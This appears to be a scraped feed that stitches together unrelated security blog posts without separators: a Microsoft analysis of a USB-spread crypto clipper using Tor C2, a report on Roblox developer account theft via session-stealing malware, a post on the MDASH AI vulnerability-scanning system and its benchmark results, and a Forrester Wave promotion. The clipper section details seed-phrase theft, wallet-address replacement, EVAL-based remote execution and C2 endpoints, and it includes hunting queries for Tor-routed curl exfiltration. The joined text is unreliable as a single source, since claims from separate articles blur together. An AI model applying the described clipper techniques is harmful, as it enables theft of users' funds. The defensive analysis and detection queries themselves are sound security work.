Microsoft Threat Intelligence and Microsoft Defender Experts identified a Windows-based cryptocurrency clipper that has affected users since February of 2026. Clipper malware relies on stealing clipboard data and parsing it for valuable assets.
The clipper in this campaign relies on Windows Script Host and ActiveX-driven logic to launch a bundled Tor proxy and poll a hidden-service C2 server. It carries out high-frequency clipboard theft, screenshot exfiltration, and wallet-address substitution.
The execution of this clipper is notable because it does not depend on a traditional installer or exposed IP-based C2 infrastructure. Instead, it deploys a portable Tor client, routes traffic through a local SOCKS5 proxy, and blends data theft with remote code execution, turning a financially motivated stealer into a lightweight backdoor.
For defenders, the strongest signals are behavioral: script interpreters spawning suspicious child processes, localhost:9050 proxy usage, screen-capture commands in PowerShell, and signs of clipboard inspection or crypto-address replacement.
Microsoft Defender for Endpoint detects multiple components of this threat such as Suspicious JavaScript process and Possible data exfiltration using Curl. Additionally, Microsoft Defender Antivirus detects this crypto clipper as Trojan: Win32/CryptoBandits.A.
Attack chain overview
Since February 2026, malicious shortcut (.lnk) payloads have infected devices with a cryptocurrency clipper. This malware comprises two components that it deploys on the compromised system: a worm component that ensures propagation and a clipper/stealer component that harvests and exfiltrates cryptocurrency wallet information.
The worm functionality ensures propagation by creating additional malicious shortcuts of legitimate files it identifies on the device. It also delivers file-based payloads and excludes them from Defender scanning. It deploys scheduled tasks for execution and persistence for both the worm component and the stealer component. Figure 1 presents a high-level execution flow of the two components.
The clipper runs as a script-based payload that interacts with the operating system through WScript and ActiveXObject. It includes an anti-analysis check that queries running processes and exits if Task Manager is detected. If the environment passes this gate, the malware launches a renamed Tor binary named ugate.exe in a hidden window, waits about 60 seconds for Tor to bootstrap, generates a victim GUID, and registers the infected device with a hidden-service C2.
After registration, the malware enters a continuous loop. It polls the C2 for instructions and monitors the clipboard roughly every 500 milliseconds, extracting seed phrases and private keys that match wallet-related patterns. It also hijacks cryptocurrency addresses by replacing copied wallet values with attacker-controlled alternatives and uploads screenshots through Tor. If the C2 returns an EVAL response, the malware executes attacker-supplied code at runtime.
Figure 1: High level execution flow.
Behaviors and methodologies
Initial access
Initial access occurs from malicious .lnk files. In instances we analyzed, these .lnk shortcuts were distributed on USB storage devices. The .lnk shortcut stages a worm component in the form of an executable. The malicious script checks for an existing malicious payload and stops if the device is already infected. If the payload is not present, the malware fetches the payload from the C2 through Tor. The Figure below illustrates the functions that stage and decrypt the initial payload.
Figure 2: Initial payload delivery.
The .lnk payload scans the USB device for common document files like .doc, .xlsx, .pdf, hides the original files, and creates additional .lnk shortcut files with the same file names. The shortcut files are crafted with arguments to link to the worm payload. The end user is not aware that they are launching an executable when opening the .lnk files.
Figure 3: Worm staged via additional shortcuts.
Execution
Once a user clicks on one of the shortcuts, the staged worm payload runs. It excludes staging folders and Windows binaries used in the execution of the stealer component. The malware then drops decrypted payloads, including two malicious JavaScript files, into the subfolder under the “C:\Users\Public\Documents” folder.
A five-character naming convention is used both for the subfolder and the scripts’ names.
The figure below illustrates an instance with files dropped under a ” C:\Users\Public\Documents\omoho” folder path:
Figure 4: JavaScript payload delivered following a Defender AV exclusion.
The worm component also establishes persistence by creating two indefinite scheduled tasks: one responsible for spreading itself to a freshly inserted uncompromised USB storage device, and another for the stealer activity.
Defense evasion
The malware employs multi-layered obfuscation, with all components encrypted and only decrypted at runtime. Installation is handled by a Python script that is itself obfuscated using PyArmor and packaged into a standalone executable via PyInstaller. In addition, the two JavaScript payloads are each protected with dual-layer obfuscation, further increasing analysis complexity. This design significantly reduces static visibility while maintaining flexible runtime behavior.
The sample also incorporates a basic anti-analysis check by querying the Win32_Process WMI class and terminating execution if Task Manager is detected. Although simplistic, this mechanism can hinder manual inspection and slow initial triage efforts.
The bundled Tor client is central to the operation. By routing communication over localhost:9050 and resolving “.onion” destination domains inside Tor, the malware reduces DNS visibility, obscures the final C2 destination, and complicates destination-based blocking. This design gives the operator anonymity benefits while keeping the malware compact and self-contained.
Command and control
The command and control over a Tor-routed domain routes network traffic through local IP address 127.0.0.1 on port 9050. The tunneled domain appears in the initiating process command line. The C2 domains use the following endpoints and actions across different execution stages.
C2 Domain: <domain>.onion
Endpoints:
/route.php : Beacon and command retrieval
/recvf.php : File upload (screenshots)
/stub.php: Payload download
Communication:
Protocol: HTTP over Tor (SOCKS5 proxy at localhost:9050)
A file named “cfile” is created on the infected system as an output for payload hosted on the C2 domain.
The malware sample we analyzed also provided a function called checkC2Command. The function has an EVAL method, which would allow any payload placed in the cfile to be executed on the victim’s system.
Figure 6: cfile download from a C2 domain.Figure 7: CheckC2Command function.
Collection
Seed
Clipboard theft focuses on high-value financial artifacts. The malware detects 12 or 24-word BIP39 seed phrases in clipboard data. It saves the seed to local file (GOOD path) as a backup and exfiltrates it to the C2 domain via Tor. It retries network transmission until it is acknowledged and deletes local backup after successful transmission. It also takes five screenshots (ten seconds apart) and uploads them asynchronously. The screenshots help the threat actor gain additional context on the end user’s wallet and balances.
Private Key extraction
The crypto clipper also detects cryptocurrency keys for both Ethereum and Bitcoin WIF. Once the captured keys are saved and exfiltrated, the malware captures screenshots of the user’s screen for a full context. The captured values are validated against a word list.
Address replacement
The stealer also probes for cryptocurrency addresses and replaces them with attacker’s addresses. The malware checks that the address has alphanumeric values.
For a Bitcoin legacy address which starts with “1” and has a length of 32-36 values, the address is replaced with an address that matches the first two characters.
For a Bitcoin P2SH address which starts with a “3” and has a length of 32-36 values, the stealer replaces the address with one matching the original address on the first two characters.
For a Bitcoin taproot address which starts with “bc1p” and has a length of 40-64 characters, the stealer replaces it with one matching the last character.
For a Bitcoin Bech32 address which starts with “bc1q” and has a length of 40-64 characters, the stealer replaces only the last character.
For a Tron address which starts with “T” and has exactly 34 characters, the stealer replaces the address with one that matches the first two characters.
For a Monero address which starts with a “4” or a “8” and has exactly 95 characters, the stealer replaces the address with a single address.
The following shows an example of address replacement:
Figure 8: Function used to replace a BTC P2SH wallet address.
This malware family shows how lightweight, script-based stealers can deliver outsized impact when paired with anonymized communications and runtime tasking. The combination of Tor-routed C2, clipboard targeting, screenshot capture, and remote code execution gives attackers both immediate monetization paths and continued control over compromised devices.
Organizations should focus on hardening script execution paths, monitoring local SOCKS proxy abuse, and using behavioral hunting to connect script activity with network, clipboard, and process signals. That combination offers the best chance of surfacing this class of threat before financial loss or broader follow-on activity occurs.
Mitigation and protection guidance
Defenders should prioritize behavioral detections over static signatures. Investigate systems where WScript, CScript, or related script engines launch curl, cmd.exe, PowerShell, or unexpected executables. localhost:9050 network activity, especially when coupled with suspicious scripting behavior, is also valuable context for triage.
Where operationally feasible, reduce abuse of script-based interpreters and review Attack Surface Reduction rules that block obfuscated scripts and suspicious child-process chains. Review detections for PowerShell-based screen capture and examine devices for indicators of clipboard inspection or wallet-address replacement.
Recommended actions
Disable AutoRun/AutoPlay for all removable media
Block .lnk execution from removable drives via GPO
Restrict unnecessary use of wscript.exe, cscript.exe, and similar script hosts where possible.
Review and enable relevant Attack Surface Reduction rules, especially those focused on obfuscated script execution and suspicious child-process behavior.
Investigate script-to-network chains involving curl, PowerShell, or cmd.exe.
Hunt for local SOCKS5 proxy activity on localhost:9050.
Review clipboard-related and screen-capture behaviors on devices handling sensitive financial workflows.
Microsoft Defender XDR detections
Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
Tactic
Observed activity
Microsoft Defender coverage
Initial Access/Execution
Malicious .lnk delivers malware components
EDR Suspicious behavior by cmd.exe was observedSuspicious Python library load
Execution
WScript / ActiveXObject execution and runtime tasking
EDR Suspicious JavaScript processSuspicious Python library loadSuspicious behavior by cmd.exe was observed AV Contebrew malware was prevented Behavior:Win64/PyPowJs.STA
Discovery
Task Manager check used as an anti-analysis gate
Persistence
Scheduled tasks are created to run the JavaScript payload wrapped in a XML file.
EDR Suspicious Task Scheduler activity
Defense Evasion
Shuffled strings and decoder functions conceal commands and APIs Task Manager if detected, the malware execution is halted
Traffic routed through Tor via local SOCKS5 proxying
EDR Possible data exfiltration using curlBehavior:Win64/CurlOnion.STA
Exfiltration
Data posted using Curl through Tor via local SOCKS5 proxying
EDR Possible data exfiltration using curl
Microsoft Security Copilot
Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:
Incident investigation
Microsoft User analysis
Threat actor profile
Threat Intelligence 360 report based on MDTI article
Vulnerability impact assessment
Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.
Threat intelligence reports
Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
Advanced hunting
Microsoft Defender customers can run the following queries to find related activity in their networks:
Execution launched from scheduled tasks
DeviceProcessEvents
| where FileName =="schtasks.exe"
| where ProcessCommandLine matches regex
@"(?i)schtasks\s+/create\s+/tn\s+[a-z]{4,6}\s+/xml\s+C:\\Users\\Public\\Documents\\[a-z]{4,6}\\[a-z]{4,6}\.xml\s+/f"
Local Tor proxy activity (localhost:9050)
DeviceNetworkEvents
| where ActionType =="ConnectionSuccess"
| where InitiatingProcessCommandLine has_all ("curl","socks5-hostname",".onion")
Tor-routed curl execution
DeviceProcessEvents
| where FileName =~ "curl.exe"
| where ProcessCommandLine has_all ("--socks5-hostname", "localhost:9050")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
MITRE ATT&CK Techniques observed
This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.
Initial Access
T1091 Replication Through Removable Media
Execution
T1059 Command and Scripting Interpreter | EVAL-driven remote code execution from server tasking
Discovery
T1057 Process Discovery | Task Manager check used as an anti-analysis gate
Persistence
T1053.005 Scheduled Task/Job | Scheduled Task
Defense evasion
T1027 | Shuffled strings and decoder functions conceal commands and APIs
Collection
T1115 Clipboard Data | Clipboard theft targets seed phrases, keys, and wallet addresses
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
Account theft usually ends with someone losing a password. This one ends with hackers walking off with the entire game.
Developers behind some of Roblox’s millions of games told 404 Media that attackers persuaded them to run a single file. Then they watched their group, their game, and their Robux (in-platform currency) balance vanish into someone else’s account within hours. In several cases, Roblox support didn’t help them get the games back until a reporter called the company for comment.
From beaming to hostile takeover
Roblox attacks used to be opportunistic. “Beamers” targeted individual players to steal rare hats, limited items, and accounts, then resold them. The pattern has shifted. The new targets are developer accounts, and the prize is the game itself.
Ioannis Matziaris told 404 Media that his two 20-year-old sons spent five years building a Roblox game called The Shadow Network. In April, attackers approached one of them with a job offer and convinced him to run a particular file. It was malware. The attackers stole control of the game, the group’s Roblox account, and their Robux balance.
Another developer, Jovan Rai, received the same project-manager job pitch. This time, the attackers were impersonating Cheesy Studios, the Matziaris brothers’ company, to lend the offer credibility. The 15-year-old was earning roughly 10,000 Robux (around $38) per day from his game. He spent more than 30 days trying to recover it through Roblox support before media attention helped move the case forward.
The malware behind the theft
Developer Mohamed Kaparoza described how the attack worked. Attackers contacted him on Discord, dangled a project-manager role, and asked him to install a Python package called “robase,” which they claimed was a database tool. Shortly after installing it, he was logged out of Roblox on both his PC and his phone. His Discord account went with it, and his two-step verification settings and passkey were changed.
This is a case of session-token theft, rather than credential theft. Once an infostealer steals an authenticated browser session, attackers can often bypass security measures such as two-factor authentication (2FA) because they are reusing a session that has already been authenticated.
The technique itself isn’t new. We reported on a similar campaign in January 2025 that targeted Roblox players with offers to beta test new games. The “installer” was actually an infostealer designed to steal data, including Discord and Steam sessions, and cryptocurrency wallet information.
What developers can do
If you build Roblox games, the defensive advice is unglamorous and mostly behavioral.
Treat unsolicited Discord job offers with caution. If a stranger asks you to install a “database tool,” a custom installer, or any file at all, do not run it.
Developers who need to test unfamiliar software should do so in an isolated environment, such as a virtual machine, rather than on a device where they are signed in to Roblox, Discord, GitHub, or other important accounts.
Review active Roblox sessions and signed-in devices regularly, and switch on Roblox’s Enhanced Protection features where available. They won’t stop session-stealer malware, but they can help protect against many other forms of account compromise.
If the worst happens, document everything as early as possible. Keep records of messages, screenshots, account changes, and support requests to help with any recovery process.
Use security software with real-time protection. Malwarebytes Premium can detect and block infostealers and other malware before they compromise your accounts.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
Every vulnerability has two clocks running. One belongs to the defender racing to find it; the other to the cyberattacker hoping to find it first. For as long as software has existed, those clocks have favored the attacker, because modern code is vast, interconnected, and changing every day, while security reviews happen at fixed moments in time. The space between “code shipped” and “code reviewed” is where risk quietly accumulates.
A few months ago, we set out to reshape that timing. We introduced codename MDASH, Microsoft Security’s multi-model agentic scanning system, built to discover, validate, and help remediate software vulnerabilities end-to-end. The goal was straightforward to articulate and hard to execute: take AI-powered vulnerability discovery and remediation capability from a research project and turn them into production-grade defense at enterprise scale. That meant going beyond pattern matching and building a system that could reason through the complexity of proprietary code and platforms like Windows, Hyper-V, Azure, and identity systems.
Rather than rely on any single model, the system orchestrates a panel of specialized AI agents, each with its own role in a structured pipeline, so security teams can surface hard bugs quickly and systematically, expanding the reach of human-led review. Findings flow into Microsoft Defender workflows, where they can be prioritized alongside threat intelligence and runtime signals, and into GitHub and Azure DevOps pipelines, where they can be validated and remediated, a closed loop connecting discovery, validation, proof, and fix across the Microsoft stack.
When we introduced the system, it topped a leading industry benchmark. That was the announcement, and the starting line. In the weeks since, the system has moved from early capability validation into active use by Microsoft engineering teams across Windows, Azure, and identity systems, applied as part of real security workflows rather than isolated testing environments. This post explores what we have built since, the lessons we’ve learned from turning research into a production-quality system, and the opportunities ahead as we focus on delivering real-world security impact.
From the lab into the pipeline
The most meaningful change since launch is where the system is being used. Engineering teams across Windows, Azure, and identity systems are now applying the system as part of their security workflows, running it alongside existing processes and reviews, targeting it at the surfaces that are hardest to audit manually and have historically required the most effort to cover. The goal is to use AI-driven analysis to go deeper, earlier, and across a broader set of targets than traditional approaches allow.
The surfaces in scope are among the most complex Microsoft builds:
Windows, the kernel, Hyper-V, and the networking stack
Azure, virtualization and core infrastructure services
Identity, Active Directory Domain Services
These are not easy targets. They are the deep layers of the platform, components where reasoning about code requires understanding kernel calling conventions, object lifetime invariants, and trust boundaries that no language model encountered in its training data. A single overlooked flaw at this layer can have outsized consequences. The system is not replacing security teams working at this depth. It is giving them meaningful reach into territory they could not cover alone.
CodenameMDASH has enabled our security team to perform vulnerability hunting at the scale of Windows with a much higher depth of analysis than was previously possible.”
—Windows security team (kernel, Hyper-V, networking stack)
This is also where the system fits into Microsoft’s existing DevSecOps story. It is not a standalone scanner bolted onto the side of engineering—it plugs into the tools teams already use. Validated findings surface as code scanning alerts in GitHub Advanced Security (GHAS), appearing inline on pull requests and in the repository’s security tab so engineers triage them in the same place they review code. The same findings flow into Azure DevOps, where they can gate pipeline builds and open work items for remediation, and into Microsoft Defender, where they are prioritized alongside threat intelligence and runtime signals. Discovery is only the entry point: because a finding travels the same path as every other code change—with an owner, a pull request, and a fix on the other side—it lands as actionable engineering work rather than stalling in a backlog. The effect is to strengthen the software development lifecycle from the inside, not to add one more tool for teams to tend.
This month’s set of discoveries
The measure of any security system is what it catches. This month’s Patch Tuesday cohort includes a set of vulnerability discoveries across the Windows ecosystem, Hyper-V, the Windows kernel, Active Directory Domain Services, Remote Desktop Client, HTTP.sys, DNS Client, and DHCP Client, spanning exploit classes including remote code execution, elevation of privilege, and information disclosure.
The range of attack vectors is significant. Several findings involve high-severity remote code execution vulnerabilities in core infrastructure layers that are difficult to scrutinize using manual approaches alone. Others surface more subtle issues, such as privilege escalation through DNS components and information disclosure through DHCP client behavior, that reflect the power of code-centric reasoning applied across many targets simultaneously. Each was identified before exploitation, in areas of the codebase that would traditionally demand significant manual effort to review.
CVE ID
Component
Type
Exploit Class
CVSS (Common Vulnerability Scoring System)
CVE-2026-45607
Windows Hyper-V
Out-of-bounds Read
Remote Code Execution
8.4
CVE-2026-45641
Windows Hyper-V
Type Confusion
Remote Code Execution
8.4
CVE-2026-47652
Windows Hyper-V
Heap-based Buffer Overflow
Remote Code Execution
8.2
CVE-2026-41108
Windows DNS Client
Heap-based Buffer Overflow
Elevation of Privilege
7.0
CVE-2026-45608
Windows DHCP Client
Out-of-bounds Read
Information Disclosure
6.8
CVE-2026-45634
Windows DHCP Client
Out-of-bounds Read
Information Disclosure
5.5
CVE-2026-45648
Windows Active Directory Domain Services
Stack-based Buffer Overflow
Remote Code Execution
8.8
CVE-2026-47289
Remote Desktop Client
Heap-based Buffer Overflow
Remote Code Execution
8.8
CVE-2026-45657
Windows Kernel
Use-after-free
Remote Code Execution
9.8
CVE-2026-47291
HTTP.sys
Integer Overflow
Remote Code Execution
9.8
Beyond the headline: What the engineering work taught us
How the system improved
To improve a system, you have to measure it. CyberGym, an industry benchmark built on 1,507 real-world vulnerabilities, gave us a way to iterate quickly and see exactly where we were getting better.
Since the initial announcement, we evolved the system significantly: new capabilities added, and the entire pipeline rebuilt based on customer feedback, CyberGym evaluation results, and extensive internal testing. The latest version has achieved 96.5% (any crash) on CyberGym, including both target and non-target vulnerabilities.
The gains were concentrated in the earliest stages of the pipeline: prepare and scan. These are foundational. Improvements there directly raise the quality of everything downstream, such as validation and proof generation, where precise understanding of the codebase and accurate exploration are critical. Specifically:
Sharper scoping. The system now more clearly distinguishes the code under audit from contextual code, defining dependencies based on their role rather than their origin. Later stages can focus on what matters, improving both efficiency and signal quality.
More comprehensive threat modeling. The system has a fuller view of a target repository’s attack surface, particularly in identifying entry points for untrusted input. This includes improved recognition of maintainer-defined entry points, such as fuzz harnesses, that may reside outside the primary codebase but are critical for assessing reachability. The system is better positioned to determine which findings are genuinely exploitable.
A more reliable call graph. The correctness and robustness of the call graph, a core structure used across multiple pipeline stages, has been strengthened, improving the system’s ability to reason about code interactions, especially for reachability analysis during validation.
Smarter routing to specialized agents. A new routing mechanism filters out clearly irrelevant agents while preserving strong candidates, reducing unnecessary computation while maintaining coverage and allowing the system to scale across diverse targets.
The principle behind all of it is the same: the model is one input, the system around it is the product. Better understanding in the early stages produces more accurate conclusions later, regardless of which model is doing the reasoning.
Understanding the remaining 3.5%
While the 96.55% score previously announced, represents a significant step forward, the system missed 3.5% of cases, 52 tasks in total.
We analyzed which pipeline stage contributed to each miss:
Scan stage: 8 cases (15.4%), failed to identify the intended finding.
Prove stage: 34 cases (65.4%), failed to generate a working proof-of-concept.
The following highlights the main failure reasons at each stage.
Scan stage failures
Incorrect scope from ambiguous descriptions. In some cases, the scope generated during the prepare stage did not include the files or functions containing the intended vulnerability. This occurs when bug descriptions are too general, especially in repositories with multiple modules, making precise localization difficult. In arvo:53536, the target bug description reads:
“A stack-buffer-overflow occurs in the code when a tag is found and the output size is not checked to ensure it is within the bounds of the buffer.”
It identifies the vulnerability type but gives little guidance on where to look in a large codebase.
Missed prioritization of vulnerable components. The system prioritizes which files and functions to analyze first and can sometimes de-emphasize less obvious components. In arvo:23547, the vulnerability resides in a lexer/parser component, but the system prioritized other C code paths instead.
Validate stage failures
Hypothetical descriptions and code misinterpretation. Scan results sometimes include hypothetical descriptions of vulnerabilities rather than concrete execution paths. When the validate stage cannot confirm a concrete path in code, it may reject the finding.
In the CyberGym benchmark case “arvo:3569,” the scan stage correctly identified a use-after-free vulnerability, but the validate stage concluded there was no feasible path to free the pointer, and rejected it. The scan-stage finding included a description like: “risk if any destructor or cleanup code attempts to free…” That framing left the validate stage without enough evidence to confirm reachability.
Prove stage failures
Highly structured input requirements. Some targets require complex, structured binary inputs, IVF/AV1, WPG, fonts, PDFs, where crafting inputs that both satisfy format validation and reach the vulnerable code path is inherently difficult, making reliable proof-of-concept generation challenging.
Fuzzing until timeout. For targets requiring highly structured inputs, the system sometimes attempted fuzzing-based approaches that found crashes but failed to generate inputs accepted as valid by the target within time constraints.
Environment mismatch. In some cases, the system reproduced crashes locally but those did not transfer to the evaluation harness, due to mismatches in build configuration, incorrect target selection, or execution paths that differed from the intended setup.
Build complexity and time constraints. In several cases, the build process failed, ran too long, or exceeded the agent’s execution budget, preventing proof-of-concept generation.
Paths to improvement
Integrating fuzzing pipelines. The prove stage is the primary bottleneck in both benchmark and real-world settings. We will integrate the system with existing fuzzing ecosystems such as OSS-Fuzz, allowing us to reuse build pipelines rather than reconstruct them and to draw on existing seed corpora for more effective proof generation. This approach was not applied during CyberGym evaluation, as it may implicitly reuse known proofs-of-concept, but will be adopted for real-world targets.
Extending analysis beyond source code. Some POC generation failures were due to limited support for non-traditional code artifacts. While the system handles conventional languages such as C/C++ well, it does not yet fully support artifacts generated by tools like lex/yacc. We are extending our analysis to cover these cases and broaden our overall coverage.
Improving agent reasoning and output quality. Failures in scan and validate stages often stem from speculative or incomplete reasoning. We will refine agent instructions, enforce structured outputs, and add validation checks to reduce ambiguity and improve reliability.
What newer models add
To isolate the impact of system-level improvements, our primary evaluation (Exp-0, baseline) intentionally used the same model configuration as the previous CyberGym benchmark, attributing gains directly to pipeline improvements rather than model advances. Modern foundation models continue to evolve, however, and we ran additional experiments on the 52 previously failed cases to understand what stronger models contribute.
Experiment 1: Newer OpenAI models for bug discovery, Claude Opus 4.6 for prove
Configuration: Prepare / Scan / Validate: GPT-5.4, GPT-5.5, GPT-5.4-mini, GPT-5.3-codex. Prove: Claude Opus 4.6.
Result: 19 of 52 cases solved (36.5%, any crash). Assuming no regressions on previously solved cases in Exp-0, projected success rate: 97.8% (any crash).
The primary gain comes from higher-quality scan-stage findings. Compared to Exp-0 baseline in this dataset, outputs are less hypothetical and more precise, with concrete execution details that improve both validation accuracy and downstream proof generation.
In the CyberGym benchmark case “arvo:3569,” the baseline produces a vague description, “risk if any destructor or cleanup code attempts to free…”, while GPT-5.5 identifies a specific execution path: “line 210 calls pj_default_destructor (P,…), which frees P->params, Q (= P->opaque).” That grounded description gives validation a clear path to reason about reachability.
GPT-5.5 also shows improved alignment between detected bugs and their corresponding common weakness enumeration (CWE) categories, contributing to more effective proof generation.
Experiment 2: GPT-5.5 / GPT-5.5-cyber for prove, using bug discovery from Experiment 1
Result (GPT-5.5): 21 of 52 cases solved (40.4%, any crash). Assuming no regressions on previously solved cases in Exp-0, projected success rate: 97.9% (any crash).
Result (GPT-5.5-cyber): 23 of 52 cases solved (44.2%, any crash). Assuming no regressions on previously solved cases in Exp-0, projected success rate: 98.1% (any crash).
Both GPT-5.5 and GPT-5.5-cyber found more crashes than Claude Opus 4.6 in the prove stage. The gain is meaningful but more modest than the improvements observed in scan. This dataset alone is not sufficient to conclude these models are consistently stronger across all proof-of-concept generation tasks.
Three distinct strategies emerged across all models in the prove stage:
Code-based, reasoning over code paths to craft inputs.
Fuzzing-based, searching the input space for crashes.
Custom instrumentation-based, exposing vulnerability-relevant variables and using them as feedback signals to guide input generation.
All three models applied all three strategies across the 52 cases but differed in which targets they applied them to, and that selection drove differences in outcome. In arvo:61902, only GPT-5.5-cyber generated a working proof-of-concept, applying a custom instrumentation-based approach that reframed the task as a hill-climbing problem: reducing “understand the codec well enough to craft adversarial audio” to “search until this value exceeds 128.”
Seeing past the score
CyberGym has been an invaluable platform for rapid iteration, continuous evaluation, and measurable progress. Through this feedback loop, the system has advanced dramatically, reaching 96.5% performance on the benchmark, with newer models already contributing an additional 1%-2% improvement beyond that baseline. Achieving this level of performance in such a short period is a strong indicator of the underlying architecture, research direction, and engineering rigor driving the effort.
At the same time, we are careful to interpret these results appropriately. A 96.5% CyberGym score demonstrates that the system can reason effectively over a broad and challenging set of known vulnerabilities. Equally important, it highlights an opportunity to broaden our evaluation framework. Real-world vulnerability discovery involves ambiguity, incomplete information, and constantly evolving software ecosystems—dimensions that extend beyond any fixed benchmark. This is precisely what makes the next phase of the work so exciting: applying these capabilities to increasingly realistic environments and pushing the frontier from benchmark excellence to real-world impact.
Where we go next
We will chart our course in two directions.
First, we are advancing the system to operate in genuine real-world environments, targeting cost-efficient discovery of previously unknown vulnerabilities, combined with integrated capabilities to triage and fix issues at scale. Finding the bug is half the job. Closing it is the other half.
Second, we see a clear opportunity to advance the benchmark to capture the complexity, ambiguity, and end-to-end workflows of how real-world vulnerability discovery actually happens.
The model variation experiments point toward the same conclusion: the system and the models improve in complementary ways. To prove our pipeline gains were not simply model gains, we held the model configuration constant in the core evaluation, then tested newer models separately. The additional gains were real, especially in the precision of scan-stage findings. That is not a complication in interpreting the results. It is a roadmap.
Defense at AI speed
Come back to the two clocks. The arc of this work is the story of the moment they switched places: from a defender racing to catch up, to a defender with AI-driven analysis reaching deeper into production code, earlier in the process, across a broader surface than any manual program could sustain.
That is what defending at AI speed means. Not faster scanning in isolation, but a posture that keeps pace with the way software is actually built and shipped today, where every improvement to the pipeline makes the next finding more precise, and the system and the models grow stronger together.
Learn more
Codename MDASH is just getting started. We would like you with us for the next chapter.
To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.
We are excited to share that Microsoft has been named a Leader in The Forrester Wave™: Extended Detection and Response Platforms, Q2 2026. Microsoft ranked the highest of any vendor evaluated in the Strategy category and is the only vendor to receive the highest score in Vision. Microsoft also received the highest possible scores across the current offering criteria of identity detection, cloud detection, SIEM replacement, Threat Intelligence, Threat hunting, Administrative controls, and Training.
In the report, Forrester writes that “Microsoft articulates a compelling vision to build a Frontier approach to security, bringing people and AI together while the platform continuously shields against and disrupts attacks.”
That recognition reflects how Microsoft sees the next phase of XDR evolution. As cyberattackers use AI to scale and accelerate their campaigns, defenders need more than correlated signals. They need a system that brings together data, people, and workflows so security can operate with the same speed and coordination.
At Microsoft, XDR is that foundation. It connects signals across identities, endpoints, email, software as a service (SaaS) apps, and cloud workloads into a shared layer of context bringing together the signals, workflows, and actions security runs on.
That foundation extends directly into how protection and operations are delivered. Microsoft Defender’s native capabilities continuously shield against attacks with built-in, system-level defenses, while embedded agents help triage alerts, hunt for threats, and deliver intelligence in the flow of work. The result is a shift from fragmented response to coordinated, system-level defense—where decisions, actions, and protection move together by default.
Attack disruption is one of the clearest expressions of that vision today. It uses cross-domain signals and AI to stop multi-stage cyberattacks like ransomware and adversary-in-the-middle attacks while they are active and unfolding.
Forrester specifically notes attack disruption in the report, “As well as its roadmap, it (Microsoft) has builtunique features, like automatic attack disruption, to help deliver on its vision.”
Threat intelligence is a brand-new evaluation criterion in this Wave and Microsoft earned the highest possible score. This reflects a broader shift: intelligence is no longer a bolt-on, but fundamental to how modern XDR platforms detect, prioritize, and disrupt cyberattacks.
Microsoft Threat Intelligence is built on a broad vantage point, analyzing 100 trillion signals each day. That intelligence is delivered directly into the analyst experience, which provides context on threat actors: their motivations and tactics appear inside incidents, alongside affected assets, and tied to response actions.
The intelligence is built into detections, attack disruption, hunting, and AI that helps analysts make sense of what they’re seeing. It’s also continuously informed by Microsoft’s global security research teams tracking nation-state actors, ransomware groups, and emerging cyberthreats, which brings frontline insight directly to defenders.
Innovation that reinforces continued leadership
We believe Microsoft’s ranking as a leader in this report is a reflection of the pace of innovation across the Defender portfolio over the past year. Highlights include:
Adaptive defense to contain active attacks: Attack disruption now expands autonomous protection to predict and shield against a threat actor’s next move during active cyberattacks. It acts just in time to defend against common attacker tactics such as group policy objects (GPOs), Safeboot, and identity compromise, with new controls that now include device isolation.
Native protection across cloud, identity, and SIEM: Microsoft delivers differentiated protection across cloud and identity by natively harnessing signals from Azure and Microsoft 365 coverage. Combined with Microsoft Sentinel’s powerful security information and event management (SIEM) and threat hunting capabilities, this foundation goes beyond detection, enabling disruption of attacks directly within the SOC for critical data sources including Amazon Web Services (AWS), Okta, and Proofpoint, fundamentally turning your SIEM into a threat protection solution.
Microsoft Security Copilot alert triage agent: Security Copilot agents in Defender help security operations center (SOC) teams investigate faster, automate response, and prioritize high-risk cyberthreats. Microsoft recently extended the Security Copilot alert triage agent to cloud and identity, extending assistive and autonomous AI to two of the most critical attack surfaces security teams defend every day. By helping analysts triage alerts faster, surface high-value context, and move more quickly from signal to action, these new capabilities strengthen the SOC where speed and precision matter most. That momentum reinforces that Microsoft received the highest possible scores in both identity detection and cloud detection.
Securing local AI agents: Microsoft recently announced endpoint security for local AI agents at Microsoft Build 2026. Defender helps security teams gain visibility into AI agents running on devices, assess exposure across identities and resources, block malicious activity in real time, and investigate agent activity through Advanced Hunting.
What this recognition means for our customers
Being named a Leader in The Forrester Wave™: Extended Detection and Response Platforms, Q2 2026 reinforces Microsoft’s commitment to helping defenders stay ahead of modern cyberattacks. We believe this recognition reflects the strength of our vision, the breadth of our protection across identities, endpoints, email, cloud, and applications, and our continued investment in bringing people and AI together in the SOC.
As the threat landscape continues to evolve, we remain focused on helping customers investigate faster, respond more effectively, and strengthen their security operations with an integrated platform built for today’s cyberattacks.
To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.
Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. This report is part of a broader collection of Forrester resources, including interactive models, frameworks, tools, data, and access to analyst guidance. For more information, read about Forrester’s objectivity here .
